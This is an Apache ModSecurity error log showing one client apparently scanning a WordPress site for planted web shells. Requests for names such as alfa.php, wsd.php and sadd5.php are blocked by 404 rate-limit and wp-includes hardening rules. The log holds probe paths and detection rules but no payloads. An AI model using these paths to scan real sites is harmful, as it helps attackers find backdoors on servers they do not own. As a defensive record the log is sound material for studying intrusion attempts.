[Wed Jan 14 06:26:09.450833 2026] [:error] [pid 58901:tid 58931] [client 4.213.64.52:34981] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aWbGgb3kQSrcqIWtO0o3OgAAAcE"]
[Wed Jan 14 06:26:09.735186 2026] [:error] [pid 24710:tid 24735] [client 4.213.64.52:35018] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aWbGgWXBo5bEhDEEhs1y9QAAANc"]
[Wed Jan 14 06:26:10.010561 2026] [:error] [pid 58899:tid 58912] [client 4.213.64.52:5111] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aWbGggWViGQd5R44tHF9AwAAAYk"]
[Wed Jan 14 06:26:10.284038 2026] [:error] [pid 58901:tid 58933] [client 4.213.64.52:35005] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aWbGgr3kQSrcqIWtO0o3PwAAAcM"]
[Wed Jan 14 06:26:10.557945 2026] [:error] [pid 58901:tid 58936] [client 4.213.64.52:5069] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aWbGgr3kQSrcqIWtO0o3RAAAAcY"]
[Wed Jan 14 06:26:10.835792 2026] [:error] [pid 58901:tid 58938] [client 4.213.64.52:34977] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aWbGgr3kQSrcqIWtO0o3RgAAAcg"]
[Wed Jan 14 06:26:11.109427 2026] [:error] [pid 24603:tid 24681] [client 4.213.64.52:35009] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aWbGg5PBJGFGN8VT8_SwnwAAAJA"]
[Wed Jan 14 06:26:11.398174 2026] [:error] [pid 58868:tid 58874] [client 4.213.64.52:35058] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aWbGg067yj8PZAmdsblyGwAAAUQ"]
[Wed Jan 14 06:26:11.672825 2026] [:error] [pid 24601:tid 24629] [client 4.213.64.52:34946] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aWbGg0CtWkZ9rlKW5n-JwAAAABM"]
[Wed Jan 14 06:26:11.949959 2026] [:error] [pid 59074:tid 59077] [client 4.213.64.52:5117] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aWbGg0_KrJ818pzhB3xvgAAAAkE"]
[Wed Jan 14 06:26:12.229061 2026] [:error] [pid 58901:tid 58947] [client 4.213.64.52:35054] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aWbGhL3kQSrcqIWtO0o3TgAAAdE"]
[Wed Jan 14 06:26:12.502112 2026] [:error] [pid 58868:tid 58879] [client 4.213.64.52:34993] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aWbGhE67yj8PZAmdsblyHgAAAUk"]
[Wed Jan 14 06:26:12.791637 2026] [:error] [pid 24602:tid 24649] [client 4.213.64.52:5063] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aWbGhEooYwabcb9R9fw__wAAAEs"]
[Wed Jan 14 06:26:13.068632 2026] [:error] [pid 58868:tid 58871] [client 4.213.64.52:5071] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aWbGhU67yj8PZAmdsblyIQAAAUE"]
[Wed Jan 14 06:26:13.342357 2026] [:error] [pid 24603:tid 24673] [client 4.213.64.52:5081] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aWbGhZPBJGFGN8VT8_SwowAAAIg"]
[Wed Jan 14 06:26:13.616654 2026] [:error] [pid 24603:tid 24679] [client 4.213.64.52:5082] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aWbGhZPBJGFGN8VT8_SwpAAAAI4"]
[Wed Jan 14 06:26:13.893208 2026] [:error] [pid 58868:tid 58893] [client 4.213.64.52:5014] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aWbGhU67yj8PZAmdsblyIwAAAVc"]
[Wed Jan 14 06:26:14.174876 2026] [:error] [pid 58901:tid 58943] [client 4.213.64.52:35004] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aWbGhr3kQSrcqIWtO0o3UwAAAc0"]
[Wed Jan 14 06:26:14.460831 2026] [:error] [pid 58899:tid 58919] [client 4.213.64.52:5007] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aWbGhgWViGQd5R44tHF9BgAAAZA"]
[Wed Jan 14 06:26:14.735450 2026] [:error] [pid 24601:tid 24627] [client 4.213.64.52:35064] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aWbGhkCtWkZ9rlKW5n-JxgAAABE"]
[Wed Jan 14 06:26:15.019989 2026] [:error] [pid 59074:tid 59083] [client 4.213.64.52:5077] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aWbGh0_KrJ818pzhB3xvggAAAkc"]
[Wed Jan 14 06:26:15.309507 2026] [:error] [pid 24602:tid 24648] [client 4.213.64.52:34963] [client 4.213.64.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aWbGh0ooYwabcb9R9fxAAgAAAEo"]
[Wed Jan 14 06:26:15.618445 2026] [:error] [pid 58977:tid 58996] [client 4.213.64.52:5098] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aWbGh7lT6ggZLRx9QvAKrwAAAhA"]
[Wed Jan 14 06:26:15.894379 2026] [:error] [pid 58901:tid 58940] [client 4.213.64.52:34985] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aWbGh73kQSrcqIWtO0o3VwAAAco"]
[Wed Jan 14 06:26:16.171221 2026] [:error] [pid 58699:tid 58723] [client 4.213.64.52:5011] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aWbGiOYdPBtkMLK2Sdq15AAAARU"]
[Wed Jan 14 06:26:16.454969 2026] [:error] [pid 24710:tid 24715] [client 4.213.64.52:34948] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aWbGiGXBo5bEhDEEhs1y_QAAAMM"]
[Wed Jan 14 06:26:16.736965 2026] [:error] [pid 58901:tid 58932] [client 4.213.64.52:35017] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadd5.php"] [unique_id "aWbGiL3kQSrcqIWtO0o3WQAAAcI"]
[Wed Jan 14 06:26:17.010263 2026] [:error] [pid 24603:tid 24688] [client 4.213.64.52:35001] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadd5.php"] [unique_id "aWbGiZPBJGFGN8VT8_SwqAAAAJc"]
[Wed Jan 14 06:26:17.289398 2026] [:error] [pid 58699:tid 58703] [client 4.213.64.52:35065] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadd5.php"] [unique_id "aWbGieYdPBtkMLK2Sdq15gAAAQE"]
[Wed Jan 14 06:26:17.563568 2026] [:error] [pid 58699:tid 58712] [client 4.213.64.52:4996] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadd5.php"] [unique_id "aWbGieYdPBtkMLK2Sdq15wAAAQo"]
[Wed Jan 14 06:26:17.838642 2026] [:error] [pid 58977:tid 58998] [client 4.213.64.52:5099] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadd5.php"] [unique_id "aWbGiblT6ggZLRx9QvAKtAAAAhI"]
[Wed Jan 14 06:26:18.111904 2026] [:error] [pid 24710:tid 24728] [client 4.213.64.52:35048] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadd5.php"] [unique_id "aWbGimXBo5bEhDEEhs1zAAAAANA"]
[Wed Jan 14 06:26:18.387397 2026] [:error] [pid 58901:tid 58947] [client 4.213.64.52:34997] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadd5.php"] [unique_id "aWbGir3kQSrcqIWtO0o3XQAAAdE"]
[Wed Jan 14 06:26:18.670756 2026] [:error] [pid 58699:tid 58720] [client 4.213.64.52:5089] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadd5.php"] [unique_id "aWbGiuYdPBtkMLK2Sdq16gAAARI"]
[Wed Jan 14 06:26:18.946287 2026] [:error] [pid 24601:tid 24630] [client 4.213.64.52:34950] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aWbGikCtWkZ9rlKW5n-JyQAAABQ"]
[Wed Jan 14 06:26:19.221697 2026] [:error] [pid 58901:tid 58949] [client 4.213.64.52:34998] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aWbGi73kQSrcqIWtO0o3XwAAAdM"]
[Wed Jan 14 06:26:19.496376 2026] [:error] [pid 58699:tid 58725] [client 4.213.64.52:5092] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aWbGi-YdPBtkMLK2Sdq17AAAARc"]
[Wed Jan 14 06:26:19.774865 2026] [:error] [pid 59074:tid 59100] [client 4.213.64.52:5057] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aWbGi0_KrJ818pzhB3xviQAAAlg"]
[Wed Jan 14 06:26:20.049068 2026] [:error] [pid 24603:tid 24675] [client 4.213.64.52:5091] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aWbGjJPBJGFGN8VT8_SwqwAAAIo"]
[Wed Jan 14 06:26:20.323640 2026] [:error] [pid 58901:tid 58951] [client 4.213.64.52:5031] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aWbGjL3kQSrcqIWtO0o3YgAAAdU"]
[Wed Jan 14 06:26:20.597673 2026] [:error] [pid 58899:tid 58923] [client 4.213.64.52:5115] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aWbGjAWViGQd5R44tHF9DAAAAZQ"]
[Wed Jan 14 06:26:20.874805 2026] [:error] [pid 58977:tid 58991] [client 4.213.64.52:34991] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aWbGjLlT6ggZLRx9QvAKtgAAAgs"]
[Wed Jan 14 06:26:21.153895 2026] [:error] [pid 24603:tid 24678] [client 4.213.64.52:5033] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aWbGjZPBJGFGN8VT8_SwrAAAAI0"]
[Wed Jan 14 06:26:21.428138 2026] [:error] [pid 24603:tid 24665] [client 4.213.64.52:5101] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aWbGjZPBJGFGN8VT8_SwrQAAAIA"]
[Wed Jan 14 06:26:21.726813 2026] [:error] [pid 58977:tid 58993] [client 4.213.64.52:35070] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aWbGjblT6ggZLRx9QvAKtwAAAg0"]
[Wed Jan 14 06:26:22.004906 2026] [:error] [pid 24603:tid 24683] [client 4.213.64.52:35060] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aWbGjpPBJGFGN8VT8_SwsQAAAJI"]
[Wed Jan 14 06:26:22.276700 2026] [:error] [pid 59074:tid 59086] [client 4.213.64.52:5116] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index.php"] [unique_id "aWbGjk_KrJ818pzhB3xviwAAAko"]
[Wed Jan 14 06:26:22.550127 2026] [:error] [pid 58901:tid 58935] [client 4.213.64.52:34971] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index.php"] [unique_id "aWbGjr3kQSrcqIWtO0o3ZgAAAcU"]
[Wed Jan 14 06:26:22.824153 2026] [:error] [pid 58901:tid 58934] [client 4.213.64.52:5051] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index.php"] [unique_id "aWbGjr3kQSrcqIWtO0o3ZwAAAcQ"]
[Wed Jan 14 06:26:23.110983 2026] [:error] [pid 58901:tid 58932] [client 4.213.64.52:34996] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index.php"] [unique_id "aWbGj73kQSrcqIWtO0o3aAAAAcI"]
[Wed Jan 14 06:26:23.384487 2026] [:error] [pid 58901:tid 58953] [client 4.213.64.52:5118] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aWbGj73kQSrcqIWtO0o3agAAAdc"]
[Wed Jan 14 06:26:23.663447 2026] [:error] [pid 24710:tid 24717] [client 4.213.64.52:5055] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aWbGj2XBo5bEhDEEhs1zJAAAAMU"]
[Wed Jan 14 06:26:23.939800 2026] [:error] [pid 58899:tid 58910] [client 4.213.64.52:35000] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aWbGjwWViGQd5R44tHF9EQAAAYc"]
[Wed Jan 14 06:26:24.213785 2026] [:error] [pid 58901:tid 58931] [client 4.213.64.52:5088] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aWbGkL3kQSrcqIWtO0o3bAAAAcE"]
[Wed Jan 14 06:26:24.488213 2026] [:error] [pid 24603:tid 24679] [client 4.213.64.52:34956] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aWbGkJPBJGFGN8VT8_SwswAAAI4"]
[Wed Jan 14 06:26:24.782094 2026] [:error] [pid 58699:tid 58717] [client 4.213.64.52:5087] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aWbGkOYdPBtkMLK2Sdq18wAAAQ8"]
